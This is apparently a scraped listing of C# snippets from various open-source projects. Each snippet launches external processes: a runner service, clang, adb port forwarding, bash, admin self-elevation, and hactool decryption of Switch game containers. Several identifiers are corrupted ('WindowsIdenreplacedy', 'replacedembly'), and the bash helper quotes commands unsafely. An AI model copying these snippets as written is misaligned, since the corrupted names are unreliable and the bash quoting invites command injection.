                Trace.Info($"Process started with process id {_proc.Id}, waiting for process exit.");
                while (true)
                {
                    Task outputSignal = _outputProcessEvent.WaitAsync();
                    var signaled = await Task.WhenAny(outputSignal, _processExitedCompletionSource.Task);

                    if (signaled == outputSignal)
                    {
                        ProcessOutput();
                    }
                    else
                    {
                        _stopWatch.Stop();
                        break;
                    }
                }

                // Just in case there was some pending output when the process shut down go ahead and check the
                // data buffers one last time before returning
                ProcessOutput();

                if (cancellationToken.IsCancellationRequested)
                {
                    // Ensure cancellation also finish on the cancellationToken.Register thread.
                    await cancellationFinished.Task;
                    Trace.Info($"Process Cancellation finished.");
                }

                Trace.Info($"Finished process {_proc.Id} with exit code {_proc.ExitCode}, and elapsed time {_stopWatch.Elapsed}.");
            }

            cancellationToken.ThrowIfCancellationRequested();

            // Wait for process to finish.
            if (_proc.ExitCode != 0 && requireExitCodeZero)
            {
                throw new ProcessExitCodeException(exitCode: _proc.ExitCode, fileName: fileName, arguments: arguments);
            }

            return _proc.ExitCode;
        }

19 Source : RunnerService.cs
with MIT License
from actions

protected override void OnStart(string[] args)
        {
            RunningLoop = Task.Run(
                () =>
                    {
                        try
                        {
                            bool stopping;
                            WriteInfo("Starting Actions Runner Service");
                            TimeSpan timeBetweenRetries = TimeSpan.FromSeconds(5);

                            lock (ServiceLock)
                            {
                                stopping = Stopping;
                            }

                            while (!stopping)
                            {
                                WriteInfo("Starting Actions Runner listener");
                                lock (ServiceLock)
                                {
                                    RunnerListener = CreateRunnerListener();
                                    RunnerListener.OutputDataReceived += RunnerListener_OutputDataReceived;
                                    RunnerListener.ErrorDataReceived += RunnerListener_ErrorDataReceived;
                                    RunnerListener.Start();
                                    RunnerListener.BeginOutputReadLine();
                                    RunnerListener.BeginErrorReadLine();
                                }

                                RunnerListener.WaitForExit();
                                int exitCode = RunnerListener.ExitCode;

                                // exit code 0 and 1 need stop service
                                // exit code 2 and 3 need restart runner
                                switch (exitCode)
                                {
                                    case 0:
                                        Stopping = true;
                                        WriteInfo(Resource.RunnerExitWithoutError);
                                        break;
                                    case 1:
                                        Stopping = true;
                                        WriteInfo(Resource.RunnerExitWithTerminatedError);
                                        break;
                                    case 2:
                                        WriteInfo(Resource.RunnerExitWithError);
                                        break;
                                    case 3:
                                        WriteInfo(Resource.RunnerUpdateInProcess);
                                        var updateResult = HandleRunnerUpdate();
                                        if (updateResult == RunnerUpdateResult.Succeed)
                                        {
                                            WriteInfo(Resource.RunnerUpdateSucceed);
                                        }
                                        else if (updateResult == RunnerUpdateResult.Failed)
                                        {
                                            WriteInfo(Resource.RunnerUpdateFailed);
                                            Stopping = true;
                                        }
                                        else if (updateResult == RunnerUpdateResult.SucceedNeedRestart)
                                        {
                                            WriteInfo(Resource.RunnerUpdateRestartNeeded);
                                            _restart = true;
                                            ExitCode = int.MaxValue;
                                            Stop();
                                        }
                                        break;
                                    default:
                                        WriteInfo(Resource.RunnerExitWithUndefinedReturnCode);
                                        break;
                                }

                                if (Stopping)
                                {
                                    ExitCode = exitCode;
                                    Stop();
                                }
                                else
                                {
                                    // wait for few seconds before restarting the process
                                    Thread.Sleep(timeBetweenRetries);
                                }

                                lock (ServiceLock)
                                {
                                    RunnerListener.OutputDataReceived -= RunnerListener_OutputDataReceived;
                                    RunnerListener.ErrorDataReceived -= RunnerListener_ErrorDataReceived;
                                    RunnerListener.Dispose();
                                    RunnerListener = null;
                                    stopping = Stopping;
                                }
                            }
                        }
                        catch (Exception exception)
                        {
                            WriteException(exception);
                            ExitCode = 99;
                            Stop();
                        }
                    });
        }

19 Source : CLangCompiler.cs
with MIT License
from adamant

public int Compile(
            ICompilerOutput output,
            string[] sourceFiles,
            string[] headerSearchPaths,
            string outputPath)
        {
            // used to have: -Wno-incompatible-pointer-types
            var options = "-std=c11 -fsanitize=undefined -fsanitize=integer -fsanitize=nullability -Wall -Wno-unused-label";
            // Next thing is needed for windows
            options += " -Xclang -flto-visibility-public-std";
            if (Path.GetExtension(outputPath) == ".dll") // TODO take this as an argument or something
                options += " --shared";
            var sources = string.Join(' ', sourceFiles);
            var headers = string.Join(' ', headerSearchPaths.Select(h => "--include-directory " + h));
            var arguments = $"{sources} -o {outputPath} {headers} {options}";
            output.WriteLine("clang arguments:");
            output.WriteLine(arguments);
            var startInfo = new ProcessStartInfo("clang", arguments)
            {
                RedirectStandardOutput = true,
                RedirectStandardError = true,
                CreateNoWindow = true,
                UseShellExecute = false,
            };
            var process = new Process() { StartInfo = startInfo };
            // To prevent blocking on a full buffer, we have to process output as it happens
            process.OutputDataReceived += ProcessOutput;
            process.ErrorDataReceived += ProcessOutput;
            output.WriteLine("clang output:");
            process.Start();
            process.BeginOutputReadLine();
            process.BeginErrorReadLine();
            process.WaitForExit();
            return process.ExitCode;

            void ProcessOutput(object s, DataReceivedEventArgs e)
            {
                output.WriteLine(e.Data);
            }
        }

19 Source : ProcessExtensions.cs
with Apache License 2.0
from adamralph

public static void Run(this Process process, bool noEcho, string echoPrefix, CancellationToken cancellationToken)
        {
            var cancelled = 0L;

            if (!noEcho)
            {
                Console.Out.WriteLine(process.GetMessage(echoPrefix));
            }

            _ = process.Start();

            using (cancellationToken.Register(
                () =>
                {
                    if (process.TryKill())
                    {
                        _ = Interlocked.Increment(ref cancelled);
                    }
                },
                useSynchronizationContext: false))
            {
                process.WaitForExit();
            }

            if (Interlocked.Read(ref cancelled) == 1)
            {
                cancellationToken.ThrowIfCancellationRequested();
            }
        }

19 Source : ProcessExtensions.cs
with Apache License 2.0
from adamralph

public static async Task RunAsync(this Process process, bool noEcho, string echoPrefix, CancellationToken cancellationToken)
        {
            // NOTE: can switch to TaskCompletionSource when moving to .NET 5+
            var tcs = new TaskCompletionSource<object>(TaskCreationOptions.RunContinuationsAsynchronously);

            process.EnableRaisingEvents = true;
            process.Exited += (s, e) => tcs.TrySetResult(0);

            if (!noEcho)
            {
                await Console.Out.WriteLineAsync(process.GetMessage(echoPrefix)).ConfigureAwait(false);
            }

            _ = process.Start();

            using (cancellationToken.Register(
                () =>
                {
                    if (process.TryKill())
                    {
                        _ = tcs.TrySetCanceled(cancellationToken);
                    }
                },
                useSynchronizationContext: false))
            {
                _ = await tcs.Task.ConfigureAwait(false);
            }
        }

19 Source : Program.cs
with MIT License
from adospace

private static bool ExecutePortForwardCommmand()
        {
            var adbCommandLine = "\"" + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Android", "sdk", "platform-tools", "adb" + (IsWindows ? ".exe" : "")) + "\" "
                + "forward tcp:45820 tcp:45820";
            var adbPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Android", "android-sdk", "platform-tools", "adb.exe");

            var process = new System.Diagnostics.Process();

            process.StartInfo.CreateNoWindow = true;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardInput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.StartInfo.Arguments = "forward tcp:45820 tcp:45820";
            process.StartInfo.FileName = adbPath;

            try
            {
                process.Start();

                var adb_output = process.StandardOutput.ReadToEnd();

                if (adb_output.Length > 0 && adb_output != "45820" + Environment.NewLine)
                    throw new InvalidOperationException($"Unable to forward tcp port from emulator (executing '{adbPath} forward tcp:45820 tcp:45820' adb tool returned '{adb_output}')");
            }
            catch (Exception ex)
            {
                Console.WriteLine(process.StandardOutput.ReadToEnd());
                Console.WriteLine(process.StandardError.ReadToEnd());
                Console.WriteLine(ex.ToString());
                return false;
            }

            return true;
        }

19 Source : HotReloadCommand.cs
with MIT License
from adospace

private static bool ExecutePortForwardCommmand(ProgressMonitor progressMonitor)
        {
            var adbCommandLine = "adb forward tcp:45820 tcp:45820";

            var process = new System.Diagnostics.Process();

            process.StartInfo.CreateNoWindow = true;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardInput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.StartInfo.Arguments = string.Format("-c \"{0}\"", adbCommandLine);
            process.StartInfo.FileName = "/bin/bash";

            try
            {
                process.Start();

                var adb_output = process.StandardOutput.ReadToEnd();

                if (adb_output.Length > 0 && adb_output != "45820" + Environment.NewLine)
                    throw new InvalidOperationException($"Unable to forward tcp port from emulator, is emulator running? (adb tool returned '{adb_output}')");
            }
            catch (Exception ex)
            {
                progressMonitor.ErrorLog.WriteLine($"{process.StandardOutput.ReadToEnd()}{Environment.NewLine}{process.StandardError.ReadToEnd()}{Environment.NewLine}{ex}");
                //outputPane.OutputString($"{process.StandardOutput.ReadToEnd()}{Environment.NewLine}");
                //outputPane.OutputString($"{process.StandardError.ReadToEnd()}{Environment.NewLine}");
                //outputPane.OutputString($"{ex}{Environment.NewLine}");
                return false;
            }

            return true;
        }

19 Source : ReloadCommand.cs
with MIT License
from adospace

private static bool ExecutePortForwardCommmand(IVsOutputWindowPane outputPane)
        {
            ThreadHelper.ThrowIfNotOnUIThread();
            //C:\Program Files (x86)\Android\android-sdk\platform-tools\adb.exe
            var adbPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Android", "android-sdk", "platform-tools", "adb.exe");

            if (!File.Exists(adbPath))
            {
                outputPane.OutputString($"Unable to find adb tool: file '{adbPath}' not found{Environment.NewLine}");
                return false;
            }

            var process = new System.Diagnostics.Process();

            process.StartInfo.CreateNoWindow = true;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardInput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.StartInfo.Arguments = "forward tcp:45820 tcp:45820";
            process.StartInfo.FileName = adbPath;

            try
            {
                process.Start();

                var adb_output = process.StandardOutput.ReadToEnd();

                if (adb_output.Length > 0 && adb_output != "45820" + Environment.NewLine)
                    throw new InvalidOperationException($"Unable to forward tcp port from emulator (executing '{adbPath} forward tcp:45820 tcp:45820' adb tool returned '{adb_output}')");
            }
            catch (Exception ex)
            {
                outputPane.OutputString($"{process.StandardOutput.ReadToEnd()}{Environment.NewLine}");
                outputPane.OutputString($"{process.StandardError.ReadToEnd()}{Environment.NewLine}");
                outputPane.OutputString($"{ex}{Environment.NewLine}");
                return false;
            }

            return true;
        }

19 Source : ClonesManager.cs
with MIT License
from adrenak

private static void ExecuteBashCommand(string command)
        {
            command = command.Replace("\"", "\"\"");

            var proc = new Process()
            {
                StartInfo = new ProcessStartInfo
                {
                    FileName = "/bin/bash",
                    Arguments = "-c \"" + command + "\"",
                    UseShellExecute = false,
                    RedirectStandardOutput = true,
                    RedirectStandardError = true,
                    CreateNoWindow = true
                }
            };

            using (proc)
            {
                proc.Start();
                proc.WaitForExit();

                if (!proc.StandardError.EndOfStream)
                {
                    UnityEngine.Debug.LogError(proc.StandardError.ReadToEnd());
                }
            }
        }

19 Source : SettingsWindow.xaml.cs
with MIT License
from adrianmteo

private bool SettingsModel_ShouldChangeProperty(object sender, PropertyChangedEventArgs e)
        {
            List<string> properties = new List<string>() { "Enabled", "LightThemeTime", "DarkThemeTime" };

            if (!properties.Contains(e.PropertyName))
            {
                return true;
            }

            using (WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent())
            {
                WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
                bool isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator);

                if (!isElevated)
                {
                    if (new MessageWindow(this, "Run as administrator", "You need to run the program as administrator in order to make changes to the Task Scheduler.", "Run as administrator", "Close").ShowDialog() == true)
                    {
                        try
                        {
                            Process process = new Process();
                            process.StartInfo.FileName = replacedembly.GetExecutingreplacedembly().Location;
                            process.StartInfo.Verb = "runas";
                            process.Start();

                            Environment.Exit(0);
                        }
                        catch
                        {
                            //
                        }
                    }

                    return false;
                }
            }

            return true;
        }

19 Source : MainWindow.xaml.cs
with GNU General Public License v2.0
from adrifcastr

public async void extractnsp()
        {
            offbtn();

            string tmpdir = AppDomain.CurrentDomain.BaseDirectory + "\\tmp";
            Directory.CreateDirectory(tmpdir);

            statuslabel.Content = "Extracting NSP Container...";

            string hctdir = AppDomain.CurrentDomain.BaseDirectory + "\\hactool.exe";
            string arg = @"-tpfs0 --pfs0dir=tmp " + "\"" + inputdisplay.Text + "\"";

            Process hct = new Process();
            hct.StartInfo.FileName = hctdir;
            hct.StartInfo.Arguments = arg;
            hct.StartInfo.CreateNoWindow = true;
            hct.StartInfo.UseShellExecute = false;
            hct.StartInfo.WorkingDirectory = Directory.GetCurrentDirectory();
            hct.EnableRaisingEvents = true;

            hct.Start();

            startbar();

            await Task.Run(() => hct.WaitForExit());

            hct.Close();

            readxml();
        }

19 Source : MainWindow.xaml.cs
with GNU General Public License v2.0
from adrifcastr

public async void reextractnsp()
        {
            offbtn();

            startbar();

            string tmpdir = AppDomain.CurrentDomain.BaseDirectory + "\\tmp";
            Directory.CreateDirectory(tmpdir);

            statuslabel.Content = "Extracting NSP Container...";

            string hctdir = AppDomain.CurrentDomain.BaseDirectory + "\\hactool.exe";
            string arg = @"-tpfs0 --pfs0dir=tmp " + "\"" + inputdisplay.Text + "\"";

            Process hct = new Process();
            hct.StartInfo.FileName = hctdir;
            hct.StartInfo.Arguments = arg;
            hct.StartInfo.CreateNoWindow = true;
            hct.StartInfo.UseShellExecute = false;
            hct.StartInfo.WorkingDirectory = Directory.GetCurrentDirectory();
            hct.EnableRaisingEvents = true;

            hct.Start();

            await Task.Run(() => hct.WaitForExit());

            hct.Close();

            decryptbsgnca();
        }

19 Source : MainWindow.xaml.cs
with GNU General Public License v2.0
from adrifcastr

public async void decryptbsgnca()
        {
            offbtn();

            startbar();

            statuslabel.Content = "Decrypting Base Game NCA...";

            string tmpdir = AppDomain.CurrentDomain.BaseDirectory + "\\tmp";

            var di = new DirectoryInfo(tmpdir);
            var result = di.GetFiles().OrderByDescending(x => x.Length).Take(1).ToList();
            var larbnca = di.GetFiles().OrderByDescending(x => x.Length).Take(1).Select(x => x.FullName).ToList();

            string basenca = String.Join(" ", larbnca);

            string nspddir = AppDomain.CurrentDomain.BaseDirectory + "\\hactool.exe";
            string replacedlkeyp = bsgreplacedlkyinput.Text;
            string bsgtk = new string(replacedlkeyp.Where(c => char.IsLetter(c) || char.IsDigit(c)).ToArray());
            string arg1 = @"-k keys.txt " + "--replacedlekey=" + bsgtk + " " + basenca;
            string arg2 = " --plaintext=" + tmpdir + "\\NCAID_PLAIN.nca";
            string arg = arg1 + arg2;
          
            Process decrnca = new Process();
            decrnca.StartInfo.FileName = nspddir;
            decrnca.StartInfo.Arguments = arg;
            decrnca.StartInfo.CreateNoWindow = true;
            decrnca.StartInfo.UseShellExecute = false;
            decrnca.StartInfo.WorkingDirectory = Directory.GetCurrentDirectory();
            decrnca.EnableRaisingEvents = true;

            decrnca.Start();

            await Task.Run(() => decrnca.WaitForExit());

            decrnca.Close();

            extractncau();
        }

See More Examples